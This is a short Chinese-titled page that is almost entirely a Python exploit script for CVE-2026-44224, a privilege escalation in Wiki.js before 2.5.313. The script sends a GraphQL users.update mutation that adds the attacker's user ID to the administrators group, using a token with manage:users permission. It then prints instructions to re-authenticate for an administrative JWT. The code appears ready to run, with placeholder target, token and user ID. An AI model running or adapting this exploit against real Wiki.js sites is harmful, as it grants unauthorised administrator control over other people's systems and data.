CVE-2026-44224 Wiki.js权限提升漏洞

import requests # Exploit Title: Wiki.js < 2.5.313 - Privilege Escalation via GraphQL # Date: 2026-05-12 # Exploit Author: Analyst # Vendor Homepage: https://js.wiki/ # Version: < 2.5.313 # CVE: CVE-2026-44224 def exploit(target_url, attacker_token, attacker_user_id): """ Exploits the users.update GraphQL mutation to escalate privileges. Requires 'manage:users' permission. """ # The Administrators group ID is typically '1' admin_group_id = "1" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # GraphQL mutation to update the user's groups payload = { "query": """ mutation { users { update( id: "%s" groups: [%s] ) { responseResult { succeeded message } } } } """ % (attacker_user_id, admin_group_id) } try: response = requests.post(f"{target_url}/graphql", json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.json()) print("[+] If succeeded, re-authenticate to receive Administrative JWT.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "https://wiki.example.com" TOKEN = "YOUR_JWT_TOKEN_WITH_MANAGE_USERS_PERMISSION" USER_ID = "YOUR_USER_ID" exploit(TARGET, TOKEN, USER_ID)